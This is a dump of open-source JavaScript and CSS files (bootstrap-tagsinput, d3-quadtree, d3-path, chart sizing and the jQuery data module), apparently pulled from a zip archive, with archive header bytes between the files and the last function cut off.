   * http://flightschool.acylt.com/devnotes/caret-position-woes/
   */
  function doGetCaretPosition(oField) {
    var iCaretPos = 0;
    if (document.selection) {
      oField.focus ();
      var oSel = document.selection.createRange();
      oSel.moveStart ('character', -oField.value.length);
      iCaretPos = oSel.text.length;
    } else if (oField.selectionStart || oField.selectionStart == '0') {
      iCaretPos = oField.selectionStart;
    }
    return (iCaretPos);
  }

  /**
    * Returns boolean indicates whether user has pressed an expected key combination.
    * @param object keyPressEvent: JavaScript event object, refer
    *     http://www.w3.org/TR/2003/WD-DOM-Level-3-Events-20030331/ecma-script-binding.html
    * @param object lookupList: expected key combinations, as in:
    *     [13, {which: 188, shiftKey: true}]
    */
  function keyCombinationInList(keyPressEvent, lookupList) {
      var found = false;
      $.each(lookupList, function (index, keyCombination) {
          if (typeof (keyCombination) === 'number' && keyPressEvent.which === keyCombination) {
              found = true;
              return false;
          }

          if (keyPressEvent.which === keyCombination.which) {
              var alt = !keyCombination.hasOwnProperty('altKey') || keyPressEvent.altKey === keyCombination.altKey,
                  shift = !keyCombination.hasOwnProperty('shiftKey') || keyPressEvent.shiftKey === keyCombination.shiftKey,
                  ctrl = !keyCombination.hasOwnProperty('ctrlKey') || keyPressEvent.ctrlKey === keyCombination.ctrlKey;
              if (alt && shift && ctrl) {
                  found = true;
                  return false;
              }
          }
      });

      return found;
  }

  /**
   * Initialize tagsinput behaviour on inputs and selects which have
   * data-role=tagsinput
   */
  $(function() {
    $("input[data-role=tagsinput], select[multiple][data-role=tagsinput]").tagsinput();
  });
})(window.jQuery);
PKOz�\~����bootstrap-tagsinput-angular.jsnu�[���angular.module('bootstrap-tagsinput', [])
.directive('bootstrapTagsinput', [function() {

  function getItemProperty(scope, property) {
    if (!property)
      return undefined;

    if (angular.isFunction(scope.$parent[property]))
      return scope.$parent[property];

    return function(item) {
      return item[property];
    };
  }

  return {
    restrict: 'EA',
    scope: {
      model: '=ngModel'
    },
    template: '<select multiple></select>',
    replace: false,
    link: function(scope, element, attrs) {
      $(function() {
        if (!angular.isArray(scope.model))
          scope.model = [];

        var select = $('select', element);
        var typeaheadSourceArray = attrs.typeaheadSource ? attrs.typeaheadSource.split('.') : null;
        var typeaheadSource = typeaheadSourceArray ?
            (typeaheadSourceArray.length > 1 ?
                scope.$parent[typeaheadSourceArray[0]][typeaheadSourceArray[1]]
                : scope.$parent[typeaheadSourceArray[0]])
            : null;

        select.tagsinput(scope.$parent[attrs.options || ''] || {
          typeahead : {
            source   : angular.isFunction(typeaheadSource) ? typeaheadSource : null
          },
          itemValue: getItemProperty(scope, attrs.itemvalue),
          itemText : getItemProperty(scope, attrs.itemtext),
          confirmKeys : getItemProperty(scope, attrs.confirmkeys) ? JSON.parse(attrs.confirmkeys) : [13],
          tagClass : angular.isFunction(scope.$parent[attrs.tagclass]) ? scope.$parent[attrs.tagclass] : function(item) { return attrs.tagclass; }
        });

        for (var i = 0; i < scope.model.length; i++) {
          select.tagsinput('add', scope.model[i]);
        }

        select.on('itemAdded', function(event) {
          if (scope.model.indexOf(event.item) === -1)
            scope.model.push(event.item);
        });

        select.on('itemRemoved', function(event) {
          var idx = scope.model.indexOf(event.item);
          if (idx !== -1)
            scope.model.splice(idx, 1);
        });

        // create a shallow copy of model's current state, needed to determine
        // diff when model changes
        var prev = scope.model.slice();
        scope.$watch("model", function() {
          var added = scope.model.filter(function(i) {return prev.indexOf(i) === -1;}),
              removed = prev.filter(function(i) {return scope.model.indexOf(i) === -1;}),
              i;

          prev = scope.model.slice();

          // Remove tags no longer in binded model
          for (i = 0; i < removed.length; i++) {
            select.tagsinput('remove', removed[i]);
          }

          // Refresh remaining tags
          select.tagsinput('refresh');

          // Add new items in model as tags
          for (i = 0; i < added.length; i++) {
            select.tagsinput('add', added[i]);
          }
        }, true);
      });
    }
  };
}]);
PKOz�\�ȧE!bootstrap-tagsinput-typeahead.cssnu�[���.twitter-typeahead .tt-query,
.twitter-typeahead .tt-hint {
    margin-bottom: 0;
}

.twitter-typeahead .tt-hint
{
    display: none;
}

.tt-menu {
    position: absolute;
    top: 100%;
    left: 0;
    z-index: 1000;
    display: none;
    float: left;
    min-width: 160px;
    padding: 5px 0;
    margin: 2px 0 0;
    list-style: none;
    font-size: 14px;
    background-color: #ffffff;
    border: 1px solid #cccccc;
    border: 1px solid rgba(0, 0, 0, 0.15);
    border-radius: 4px;
    -webkit-box-shadow: 0 6px 12px rgba(0, 0, 0, 0.175);
    box-shadow: 0 6px 12px rgba(0, 0, 0, 0.175);
    background-clip: padding-box;
    cursor: pointer;
}

.tt-suggestion {
    display: block;
    padding: 3px 20px;
    clear: both;
    font-weight: normal;
    line-height: 1.428571429;
    color: #333333;
    white-space: nowrap;
}

.tt-suggestion:hover,
.tt-suggestion:focus {
    color: #ffffff;
    text-decoration: none;
    outline: 0;
    background-color: #428bca;
}
PKOz�\7�4�\\bootstrap-tagsinput.cssnu�[���.bootstrap-tagsinput {
  background-color: #fff;
  border: 1px solid #ccc;
  box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075);
  display: inline-block;
  padding: 4px 6px;
  color: #555;
  vertical-align: middle;
  border-radius: 4px;
  max-width: 100%;
  line-height: 22px;
  cursor: text;
}
.bootstrap-tagsinput input {
  border: none;
  box-shadow: none;
  outline: none;
  background-color: transparent;
  padding: 0 6px;
  margin: 0;
  width: auto;
  max-width: inherit;
}
.bootstrap-tagsinput.form-control input::-moz-placeholder {
  color: #777;
  opacity: 1;
}
.bootstrap-tagsinput.form-control input:-ms-input-placeholder {
  color: #777;
}
.bootstrap-tagsinput.form-control input::-webkit-input-placeholder {
  color: #777;
}
.bootstrap-tagsinput input:focus {
  border: none;
  box-shadow: none;
}
.bootstrap-tagsinput .tag {
  margin-right: 2px;
  color: white;
}
.bootstrap-tagsinput .tag [data-role="remove"] {
  margin-left: 8px;
  cursor: pointer;
}
.bootstrap-tagsinput .tag [data-role="remove"]:after {
  content: "x";
  padding: 0px 2px;
}
.bootstrap-tagsinput .tag [data-role="remove"]:hover {
  box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.2), 0 1px 2px rgba(0, 0, 0, 0.05);
}
.bootstrap-tagsinput .tag [data-role="remove"]:hover:active {
  box-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125);
}
PK�z�\bD6Q��size.jsnu�[���import CLASS from './class';
import { ChartInternal } from './core';
import { isValue, ceil10 } from './util';

ChartInternal.prototype.getCurrentWidth = function () {
    var $$ = this, config = $$.config;
    return config.size_width ? config.size_width : $$.getParentWidth();
};
ChartInternal.prototype.getCurrentHeight = function () {
    var $$ = this, config = $$.config,
        h = config.size_height ? config.size_height : $$.getParentHeight();
    return h > 0 ? h : 320 / ($$.hasType('gauge') && !config.gauge_fullCircle ? 2 : 1);
};
ChartInternal.prototype.getCurrentPaddingTop = function () {
    var $$ = this,
        config = $$.config,
        padding = isValue(config.padding_top) ? config.padding_top : 0;
    if ($$.title && $$.title.node()) {
        padding += $$.getTitlePadding();
    }
    return padding;
};
ChartInternal.prototype.getCurrentPaddingBottom = function () {
    var config = this.config;
    return isValue(config.padding_bottom) ? config.padding_bottom : 0;
};
ChartInternal.prototype.getCurrentPaddingLeft = function (withoutRecompute) {
    var $$ = this, config = $$.config;
    if (isValue(config.padding_left)) {
        return config.padding_left;
    } else if (config.axis_rotated) {
        return (!config.axis_x_show || config.axis_x_inner) ? 1 : Math.max(ceil10($$.getAxisWidthByAxisId('x', withoutRecompute)), 40);
    } else if (!config.axis_y_show || config.axis_y_inner) { // && !config.axis_rotated
        return $$.axis.getYAxisLabelPosition().isOuter ? 30 : 1;
    } else {
        return ceil10($$.getAxisWidthByAxisId('y', withoutRecompute));
    }
};
ChartInternal.prototype.getCurrentPaddingRight = function () {
    var $$ = this, config = $$.config,
        defaultPadding = 10, legendWidthOnRight = $$.isLegendRight ? $$.getLegendWidth() + 20 : 0;
    if (isValue(config.padding_right)) {
        return config.padding_right + 1; // 1 is needed not to hide tick line
    } else if (config.axis_rotated) {
        return defaultPadding + legendWidthOnRight;
    } else if (!config.axis_y2_show || config.axis_y2_inner) { // && !config.axis_rotated
        return 2 + legendWidthOnRight + ($$.axis.getY2AxisLabelPosition().isOuter ? 20 : 0);
    } else {
        return ceil10($$.getAxisWidthByAxisId('y2')) + legendWidthOnRight;
    }
};

ChartInternal.prototype.getParentRectValue = function (key) {
    var parent = this.selectChart.node(), v;
    while (parent && parent.tagName !== 'BODY') {
        try {
            v = parent.getBoundingClientRect()[key];
        } catch(e) {
            if (key === 'width') {
                // In IE in certain cases getBoundingClientRect
                // will cause an "unspecified error"
                v = parent.offsetWidth;
            }
        }
        if (v) {
            break;
        }
        parent = parent.parentNode;
    }
    return v;
};
ChartInternal.prototype.getParentWidth = function () {
    return this.getParentRectValue('width');
};
ChartInternal.prototype.getParentHeight = function () {
    var h = this.selectChart.style('height');
    return h.indexOf('px') > 0 ? +h.replace('px', '') : 0;
};


ChartInternal.prototype.getSvgLeft = function (withoutRecompute) {
    var $$ = this, config = $$.config,
        hasLeftAxisRect = config.axis_rotated || (!config.axis_rotated && !config.axis_y_inner),
        leftAxisClass = config.axis_rotated ? CLASS.axisX : CLASS.axisY,
        leftAxis = $$.main.select('.' + leftAxisClass).node(),
        svgRect = leftAxis && hasLeftAxisRect ? leftAxis.getBoundingClientRect() : {right: 0},
        chartRect = $$.selectChart.node().getBoundingClientRect(),
        hasArc = $$.hasArcType(),
        svgLeft = svgRect.right - chartRect.left - (hasArc ? 0 : $$.getCurrentPaddingLeft(withoutRecompute));
    return svgLeft > 0 ? svgLeft : 0;
};


ChartInternal.prototype.getAxisWidthByAxisId = function (id, withoutRecompute) {
    var $$ = this, position = $$.axis.getLabelPositionById(id);
    return $$.axis.getMaxTickWidth(id, withoutRecompute) + (position.isInner ? 20 : 40);
};
ChartInternal.prototype.getHorizontalAxisHeight = function (axisId) {
    var $$ = this, config = $$.config, h = 30;
    if (axisId === 'x' && !config.axis_x_show) { return 8; }
    if (axisId === 'x' && config.axis_x_height) { return config.axis_x_height; }
    if (axisId === 'y' && !config.axis_y_show) {
        return config.legend_show && !$$.isLegendRight && !$$.isLegendInset ? 10 : 1;
    }
    if (axisId === 'y2' && !config.axis_y2_show) { return $$.rotated_padding_top; }
    // Calculate x axis height when tick rotated
    if (axisId === 'x' && !config.axis_rotated && config.axis_x_tick_rotate) {
        h = 30 + $$.axis.getMaxTickWidth(axisId) * Math.cos(Math.PI * (90 - Math.abs(config.axis_x_tick_rotate)) / 180);
    }
    // Calculate y axis height when tick rotated
    if (axisId === 'y' && config.axis_rotated && config.axis_y_tick_rotate) {
        h = 30 + $$.axis.getMaxTickWidth(axisId) * Math.cos(Math.PI * (90 - Math.abs(config.axis_y_tick_rotate)) / 180);
    }
    return h + ($$.axis.getLabelPositionById(axisId).isInner ? 0 : 10) + (axisId === 'y2' ? -10 : 0);
};

PK�z�\F/[��y.jsnu�[���export function defaultY(d) {
  return d[1];
}

export default function(_) {
  return arguments.length ? (this._y = _, this) : this._y;
}
PK�z�\�Ҧ�	�	add.jsnu�[���export default function(d) {
  var x = +this._x.call(null, d),
      y = +this._y.call(null, d);
  return add(this.cover(x, y), x, y, d);
}

function add(tree, x, y, d) {
  if (isNaN(x) || isNaN(y)) return tree; // ignore invalid points

  var parent,
      node = tree._root,
      leaf = {data: d},
      x0 = tree._x0,
      y0 = tree._y0,
      x1 = tree._x1,
      y1 = tree._y1,
      xm,
      ym,
      xp,
      yp,
      right,
      bottom,
      i,
      j;

  // If the tree is empty, initialize the root as a leaf.
  if (!node) return tree._root = leaf, tree;

  // Find the existing leaf for the new point, or add it.
  while (node.length) {
    if (right = x >= (xm = (x0 + x1) / 2)) x0 = xm; else x1 = xm;
    if (bottom = y >= (ym = (y0 + y1) / 2)) y0 = ym; else y1 = ym;
    if (parent = node, !(node = node[i = bottom << 1 | right])) return parent[i] = leaf, tree;
  }

  // Is the new point is exactly coincident with the existing point?
  xp = +tree._x.call(null, node.data);
  yp = +tree._y.call(null, node.data);
  if (x === xp && y === yp) return leaf.next = node, parent ? parent[i] = leaf : tree._root = leaf, tree;

  // Otherwise, split the leaf node until the old and new point are separated.
  do {
    parent = parent ? parent[i] = new Array(4) : tree._root = new Array(4);
    if (right = x >= (xm = (x0 + x1) / 2)) x0 = xm; else x1 = xm;
    if (bottom = y >= (ym = (y0 + y1) / 2)) y0 = ym; else y1 = ym;
  } while ((i = bottom << 1 | right) === (j = (yp >= ym) << 1 | (xp >= xm)));
  return parent[j] = node, parent[i] = leaf, tree;
}

export function addAll(data) {
  var d, i, n = data.length,
      x,
      y,
      xz = new Array(n),
      yz = new Array(n),
      x0 = Infinity,
      y0 = Infinity,
      x1 = -Infinity,
      y1 = -Infinity;

  // Compute the points and their extent.
  for (i = 0; i < n; ++i) {
    if (isNaN(x = +this._x.call(null, d = data[i])) || isNaN(y = +this._y.call(null, d))) continue;
    xz[i] = x;
    yz[i] = y;
    if (x < x0) x0 = x;
    if (x > x1) x1 = x;
    if (y < y0) y0 = y;
    if (y > y1) y1 = y;
  }

  // If there were no (valid) points, inherit the existing extent.
  if (x1 < x0) x0 = this._x0, x1 = this._x1;
  if (y1 < y0) y0 = this._y0, y1 = this._y1;

  // Expand the tree to cover the new points.
  this.cover(x0, y0).cover(x1, y1);

  // Add the new points.
  for (i = 0; i < n; ++i) {
    add(this, xz[i], yz[i], data[i]);
  }

  return this;
}
PK�z�\�wcffquadtree.jsnu�[���import tree_add, {addAll as tree_addAll} from "./add";
import tree_cover from "./cover";
import tree_data from "./data";
import tree_extent from "./extent";
import tree_find from "./find";
import tree_remove, {removeAll as tree_removeAll} from "./remove";
import tree_root from "./root";
import tree_size from "./size";
import tree_visit from "./visit";
import tree_visitAfter from "./visitAfter";
import tree_x, {defaultX} from "./x";
import tree_y, {defaultY} from "./y";

export default function quadtree(nodes, x, y) {
  var tree = new Quadtree(x == null ? defaultX : x, y == null ? defaultY : y, NaN, NaN, NaN, NaN);
  return nodes == null ? tree : tree.addAll(nodes);
}

function Quadtree(x, y, x0, y0, x1, y1) {
  this._x = x;
  this._y = y;
  this._x0 = x0;
  this._y0 = y0;
  this._x1 = x1;
  this._y1 = y1;
  this._root = undefined;
}

function leaf_copy(leaf) {
  var copy = {data: leaf.data}, next = copy;
  while (leaf = leaf.next) next = next.next = {data: leaf.data};
  return copy;
}

var treeProto = quadtree.prototype = Quadtree.prototype;

treeProto.copy = function() {
  var copy = new Quadtree(this._x, this._y, this._x0, this._y0, this._x1, this._y1),
      node = this._root,
      nodes,
      child;

  if (!node) return copy;

  if (!node.length) return copy._root = leaf_copy(node), copy;

  nodes = [{source: node, target: copy._root = new Array(4)}];
  while (node = nodes.pop()) {
    for (var i = 0; i < 4; ++i) {
      if (child = node.source[i]) {
        if (child.length) nodes.push({source: child, target: node.target[i] = new Array(4)});
        else node.target[i] = leaf_copy(child);
      }
    }
  }

  return copy;
};

treeProto.add = tree_add;
treeProto.addAll = tree_addAll;
treeProto.cover = tree_cover;
treeProto.data = tree_data;
treeProto.extent = tree_extent;
treeProto.find = tree_find;
treeProto.remove = tree_remove;
treeProto.removeAll = tree_removeAll;
treeProto.root = tree_root;
treeProto.size = tree_size;
treeProto.visit = tree_visit;
treeProto.visitAfter = tree_visitAfter;
treeProto.x = tree_x;
treeProto.y = tree_y;
PK�z�\K���
visitAfter.jsnu�[���import Quad from "./quad";

export default function(callback) {
  var quads = [], next = [], q;
  if (this._root) quads.push(new Quad(this._root, this._x0, this._y0, this._x1, this._y1));
  while (q = quads.pop()) {
    var node = q.node;
    if (node.length) {
      var child, x0 = q.x0, y0 = q.y0, x1 = q.x1, y1 = q.y1, xm = (x0 + x1) / 2, ym = (y0 + y1) / 2;
      if (child = node[0]) quads.push(new Quad(child, x0, y0, xm, ym));
      if (child = node[1]) quads.push(new Quad(child, xm, y0, x1, ym));
      if (child = node[2]) quads.push(new Quad(child, x0, ym, xm, y1));
      if (child = node[3]) quads.push(new Quad(child, xm, ym, x1, y1));
    }
    next.push(q);
  }
  while (q = next.pop()) {
    callback(q.node, q.x0, q.y0, q.x1, q.y1);
  }
  return this;
}
PK�z�\�'۰��quad.jsnu�[���export default function(node, x0, y0, x1, y1) {
  this.node = node;
  this.x0 = x0;
  this.y0 = y0;
  this.x1 = x1;
  this.y1 = y1;
}
PK�z�\
5[��	remove.jsnu�[���export default function(d) {
  if (isNaN(x = +this._x.call(null, d)) || isNaN(y = +this._y.call(null, d))) return this; // ignore invalid points

  var parent,
      node = this._root,
      retainer,
      previous,
      next,
      x0 = this._x0,
      y0 = this._y0,
      x1 = this._x1,
      y1 = this._y1,
      x,
      y,
      xm,
      ym,
      right,
      bottom,
      i,
      j;

  // If the tree is empty, initialize the root as a leaf.
  if (!node) return this;

  // Find the leaf node for the point.
  // While descending, also retain the deepest parent with a non-removed sibling.
  if (node.length) while (true) {
    if (right = x >= (xm = (x0 + x1) / 2)) x0 = xm; else x1 = xm;
    if (bottom = y >= (ym = (y0 + y1) / 2)) y0 = ym; else y1 = ym;
    if (!(parent = node, node = node[i = bottom << 1 | right])) return this;
    if (!node.length) break;
    if (parent[(i + 1) & 3] || parent[(i + 2) & 3] || parent[(i + 3) & 3]) retainer = parent, j = i;
  }

  // Find the point to remove.
  while (node.data !== d) if (!(previous = node, node = node.next)) return this;
  if (next = node.next) delete node.next;

  // If there are multiple coincident points, remove just the point.
  if (previous) return (next ? previous.next = next : delete previous.next), this;

  // If this is the root point, remove it.
  if (!parent) return this._root = next, this;

  // Remove this leaf.
  next ? parent[i] = next : delete parent[i];

  // If the parent now contains exactly one leaf, collapse superfluous parents.
  if ((node = parent[0] || parent[1] || parent[2] || parent[3])
      && node === (parent[3] || parent[2] || parent[1] || parent[0])
      && !node.length) {
    if (retainer) retainer[j] = node;
    else this._root = node;
  }

  return this;
}

export function removeAll(data) {
  for (var i = 0, n = data.length; i < n; ++i) this.remove(data[i]);
  return this;
}
PK�z�\
�$"��	extent.jsnu�[���export default function(values, valueof) {
  var n = values.length,
      i = -1,
      value,
      min,
      max;

  if (valueof == null) {
    while (++i < n) { // Find the first comparable value.
      if ((value = values[i]) != null && value >= value) {
        min = max = value;
        while (++i < n) { // Compare the remaining values.
          if ((value = values[i]) != null) {
            if (min > value) min = value;
            if (max < value) max = value;
          }
        }
      }
    }
  }

  else {
    while (++i < n) { // Find the first comparable value.
      if ((value = valueof(values[i], i, values)) != null && value >= value) {
        min = max = value;
        while (++i < n) { // Compare the remaining values.
          if ((value = valueof(values[i], i, values)) != null) {
            if (min > value) min = value;
            if (max < value) max = value;
          }
        }
      }
    }
  }

  return [min, max];
}
PK�z�\Y��
66root.jsnu�[���export default function() {
  return this._root;
}
PK�z�\Z�ё�x.jsnu�[���export function defaultX(d) {
  return d[0];
}

export default function(_) {
  return arguments.length ? (this._x = _, this) : this._x;
}
PK�z�\s7����cover.jsnu�[���export default function(x, y) {
  if (isNaN(x = +x) || isNaN(y = +y)) return this; // ignore invalid points

  var x0 = this._x0,
      y0 = this._y0,
      x1 = this._x1,
      y1 = this._y1;

  // If the quadtree has no extent, initialize them.
  // Integer extent are necessary so that if we later double the extent,
  // the existing quadrant boundaries don’t change due to floating point error!
  if (isNaN(x0)) {
    x1 = (x0 = Math.floor(x)) + 1;
    y1 = (y0 = Math.floor(y)) + 1;
  }

  // Otherwise, double repeatedly to cover.
  else if (x0 > x || x > x1 || y0 > y || y > y1) {
    var z = x1 - x0,
        node = this._root,
        parent,
        i;

    switch (i = (y < (y0 + y1) / 2) << 1 | (x < (x0 + x1) / 2)) {
      case 0: {
        do parent = new Array(4), parent[i] = node, node = parent;
        while (z *= 2, x1 = x0 + z, y1 = y0 + z, x > x1 || y > y1);
        break;
      }
      case 1: {
        do parent = new Array(4), parent[i] = node, node = parent;
        while (z *= 2, x0 = x1 - z, y1 = y0 + z, x0 > x || y > y1);
        break;
      }
      case 2: {
        do parent = new Array(4), parent[i] = node, node = parent;
        while (z *= 2, x1 = x0 + z, y0 = y1 - z, x > x1 || y0 > y);
        break;
      }
      case 3: {
        do parent = new Array(4), parent[i] = node, node = parent;
        while (z *= 2, x0 = x1 - z, y0 = y1 - z, x0 > x || y0 > y);
        break;
      }
    }

    if (this._root && this._root.length) this._root = node;
  }

  // If the quadtree covers the point already, just return.
  else return this;

  this._x0 = x0;
  this._y0 = y0;
  this._x1 = x1;
  this._y1 = y1;
  return this;
}
PK�z�\V�=��find.jsnu�[���import Quad from "./quad";

export default function(x, y, radius) {
  var data,
      x0 = this._x0,
      y0 = this._y0,
      x1,
      y1,
      x2,
      y2,
      x3 = this._x1,
      y3 = this._y1,
      quads = [],
      node = this._root,
      q,
      i;

  if (node) quads.push(new Quad(node, x0, y0, x3, y3));
  if (radius == null) radius = Infinity;
  else {
    x0 = x - radius, y0 = y - radius;
    x3 = x + radius, y3 = y + radius;
    radius *= radius;
  }

  while (q = quads.pop()) {

    // Stop searching if this quadrant can’t contain a closer node.
    if (!(node = q.node)
        || (x1 = q.x0) > x3
        || (y1 = q.y0) > y3
        || (x2 = q.x1) < x0
        || (y2 = q.y1) < y0) continue;

    // Bisect the current quadrant.
    if (node.length) {
      var xm = (x1 + x2) / 2,
          ym = (y1 + y2) / 2;

      quads.push(
        new Quad(node[3], xm, ym, x2, y2),
        new Quad(node[2], x1, ym, xm, y2),
        new Quad(node[1], xm, y1, x2, ym),
        new Quad(node[0], x1, y1, xm, ym)
      );

      // Visit the closest quadrant first.
      if (i = (y >= ym) << 1 | (x >= xm)) {
        q = quads[quads.length - 1];
        quads[quads.length - 1] = quads[quads.length - 1 - i];
        quads[quads.length - 1 - i] = q;
      }
    }

    // Visit this point. (Visiting coincident points isn’t necessary!)
    else {
      var dx = x - +this._x.call(null, node.data),
          dy = y - +this._y.call(null, node.data),
          d2 = dx * dx + dy * dy;
      if (d2 < radius) {
        var d = Math.sqrt(radius = d2);
        x0 = x - d, y0 = y - d;
        x3 = x + d, y3 = y + d;
        data = node.data;
      }
    }
  }

  return data;
}
PK�z�\
`~��data.jsnu�[���define( [
	"./core",
	"./core/access",
	"./core/camelCase",
	"./data/var/dataPriv",
	"./data/var/dataUser"
], function( jQuery, access, camelCase, dataPriv, dataUser ) {

"use strict";

//	Implementation Summary
//
//	1. Enforce API surface and semantic compatibility with 1.9.x branch
//	2. Improve the module's maintainability by reducing the storage
//		paths to a single mechanism.
//	3. Use the same single mechanism to support "private" and "user" data.
//	4. _Never_ expose "private" data to user code (TODO: Drop _data, _removeData)
//	5. Avoid exposing implementation details on user objects (eg. expando properties)
//	6. Provide a clear path for implementation upgrade to WeakMap in 2014

var rbrace = /^(?:\{[\w\W]*\}|\[[\w\W]*\])$/,
	rmultiDash = /[A-Z]/g;

function getData( data ) {
	if ( data === "true" ) {
		return true;
	}

	if ( data === "false" ) {
		return false;
	}

	if ( data === "null" ) {
		return null;
	}

	// Only convert to a number if it doesn't change the string
	if ( data === +data + "" ) {
		return +data;
	}

	if ( rbrace.test( data ) ) {
		return JSON.parse( data );
	}

	return data;
}

function dataAttr( elem, key, data ) {
	var name;

	// If nothing was found internally, try to fetch any
	// data from the HTML5 data-* attribute
	if ( data === undefined && elem.nodeType === 1 ) {
		name = "data-" + key.replace( rmultiDash, "-$&" ).toLowerCase();
		data = elem.getAttribute( name );

		if ( typeof data === "string" ) {
			try {
				data = getData( data );
			} catch ( e ) {}

			// Make sure we set the data so it isn't changed later
			dataUser.set( elem, key, data );
		} else {
			data = undefined;
		}
	}
	return data;
}

jQuery.extend( {
	hasData: function( elem ) {
		return dataUser.hasData( elem ) || dataPriv.hasData( elem );
	},

	data: function( elem, name, data ) {
		return dataUser.access( elem, name, data );
	},

	removeData: function( elem, name ) {
		dataUser.remove( elem, name );
	},

	// TODO: Now that all calls to _data and _removeData have been replaced
	// with direct calls to dataPriv methods, these can be deprecated.
	_data: function( elem, name, data ) {
		return dataPriv.access( elem, name, data );
	},

	_removeData: function( elem, name ) {
		dataPriv.remove( elem, name );
	}
} );

jQuery.fn.extend( {
	data: function( key, value ) {
		var i, name, data,
			elem = this[ 0 ],
			attrs = elem && elem.attributes;

		// Gets all values
		if ( key === undefined ) {
			if ( this.length ) {
				data = dataUser.get( elem );

				if ( elem.nodeType === 1 && !dataPriv.get( elem, "hasDataAttrs" ) ) {
					i = attrs.length;
					while ( i-- ) {

						// Support: IE 11 only
						// The attrs elements can be null (#14894)
						if ( attrs[ i ] ) {
							name = attrs[ i ].name;
							if ( name.indexOf( "data-" ) === 0 ) {
								name = camelCase( name.slice( 5 ) );
								dataAttr( elem, name, data[ name ] );
							}
						}
					}
					dataPriv.set( elem, "hasDataAttrs", true );
				}
			}

			return data;
		}

		// Sets multiple values
		if ( typeof key === "object" ) {
			return this.each( function() {
				dataUser.set( this, key );
			} );
		}

		return access( this, function( value ) {
			var data;

			// The calling jQuery object (element matches) is not empty
			// (and therefore has an element appears at this[ 0 ]) and the
			// `value` parameter was not undefined. An empty jQuery object
			// will result in `undefined` for elem = this[ 0 ] which will
			// throw an exception if an attempt to read a data cache is made.
			if ( elem && value === undefined ) {

				// Attempt to get data from the cache
				// The key will always be camelCased in Data
				data = dataUser.get( elem, key );
				if ( data !== undefined ) {
					return data;
				}

				// Attempt to "discover" the data in
				// HTML5 custom data-* attrs
				data = dataAttr( elem, key );
				if ( data !== undefined ) {
					return data;
				}

				// We tried really hard, but the data doesn't exist.
				return;
			}

			// Set the data...
			this.each( function() {

				// We always store the camelCased key
				dataUser.set( this, key, value );
			} );
		}, null, value, arguments.length > 1, null, true );
	},

	removeData: function( key ) {
		return this.each( function() {
			dataUser.remove( this, key );
		} );
	}
} );

return jQuery;
} );
PK�z�\�����visit.jsnu�[���import Quad from "./quad";

export default function(callback) {
  var quads = [], q, node = this._root, child, x0, y0, x1, y1;
  if (node) quads.push(new Quad(node, this._x0, this._y0, this._x1, this._y1));
  while (q = quads.pop()) {
    if (!callback(node = q.node, x0 = q.x0, y0 = q.y0, x1 = q.x1, y1 = q.y1) && node.length) {
      var xm = (x0 + x1) / 2, ym = (y0 + y1) / 2;
      if (child = node[3]) quads.push(new Quad(child, xm, ym, x1, y1));
      if (child = node[2]) quads.push(new Quad(child, x0, ym, xm, y1));
      if (child = node[1]) quads.push(new Quad(child, xm, y0, x1, ym));
      if (child = node[0]) quads.push(new Quad(child, x0, y0, xm, ym));
    }
  }
  return this;
}
PK�z�\������path.jsnu�[���var pi = Math.PI,
    tau = 2 * pi,
    epsilon = 1e-6,
    tauEpsilon = tau - epsilon;

function Path() {
  this._x0 = this._y0 = // start of current subpath
  this._x1 = this._y1 = null; // end of current subpath
  this._ = "";
}

function path() {
  return new Path;
}

Path.prototype = path.prototype = {
  constructor: Path,
  moveTo: function(x, y) {
    this._ += "M" + (this._x0 = this._x1 = +x) + "," + (this._y0 = this._y1 = +y);
  },
  closePath: function() {
    if (this._x1 !== null) {
      this._x1 = this._x0, this._y1 = this._y0;
      this._ += "Z";
    }
  },
  lineTo: function(x, y) {
    this._ += "L" + (this._x1 = +x) + "," + (this._y1 = +y);
  },
  quadraticCurveTo: function(x1, y1, x, y) {
    this._ += "Q" + (+x1) + "," + (+y1) + "," + (this._x1 = +x) + "," + (this._y1 = +y);
  },
  bezierCurveTo: function(x1, y1, x2, y2, x, y) {
    this._ += "C" + (+x1) + "," + (+y1) + "," + (+x2) + "," + (+y2) + "," + (this._x1 = +x) + "," + (this._y1 = +y);
  },
  arcTo: function(x1, y1, x2, y2, r) {
    x1 = +x1, y1 = +y1, x2 = +x2, y2 = +y2, r = +r;
    var x0 = this._x1,
        y0 = this._y1,
        x21 = x2 - x1,
        y21 = y2 - y1,
        x01 = x0 - x1,
        y01 = y0 - y1,
        l01_2 = x01 * x01 + y01 * y01;

    // Is the radius negative? Error.
    if (r < 0) throw new Error("negative radius: " + r);

    // Is this path empty? Move to (x1,y1).
    if (this._x1 === null) {
      this._ += "M" + (this._x1 = x1) + "," + (this._y1 = y1);
    }

    // Or, is (x1,y1) coincident with (x0,y0)? Do nothing.
    else if (!(l01_2 > epsilon));

    // Or, are (x0,y0), (x1,y1) and (x2,y2) collinear?
    // Equivalently, is (x1,y1) coincident with (x2,y2)?
    // Or, is the radius zero? Line to (x1,y1).
    else if (!(Math.abs(y01 * x21 - y21 * x01) > epsilon) || !r) {
      this._ += "L" + (this._x1 = x1) + "," + (this._y1 = y1);
    }

    // Otherwise, draw an arc!
    else {
      var x20 = x2 - x0,
          y20 = y2 - y0,
          l21_2 = x21 * x21 + y21 * y21,
          l20_2 = x20 * x20 + y20 * y20,
          l21 = Math.sqrt(l21_2),
          l01 = Math.sqrt(l01_2),
          l = r * Math.tan((pi - Math.acos((l21_2 + l01_2 - l20_2) / (2 * l21 * l01))) / 2),
          t01 = l / l01,
          t21 = l / l21;

      // If the start tangent is not coincident with (x0,y0), line to.
      if (Math.abs(t01 - 1) > epsilon) {
        this._ += "L" + (x1 + t01 * x01) + "," + (y1 + t01 * y01);
      }

      this._ += "A" + r + "," + r + ",0,0," + (+(y01 * x20 > x01 * y20)) + "," + (this._x1 = x1 + t21 * x21) + "," + (this._y1 = y1 + t21 * y21);
    }
  },
  arc: function(x, y, r, a0, a1, ccw) {
    x = +x, y = +y, r = +r;
    var dx = r * Math.cos(a0),
        dy = r * Math.sin(a0),
        x0 = x + dx,
        y0 = y + dy,
        cw = 1 ^ ccw,
        da = ccw ? a0 - a1 : a1 - a0;

    // Is the radius negative? Error.
    if (r < 0) throw new Error("negative radius: " + r);

    // Is this path empty? Move to (x0,y0).
    if (this._x1 === null) {
      this._ += "M" + x0 + "," + y0;
    }

    // Or, is (x0,y0) not coincident with the previous point? Line to (x0,y0).
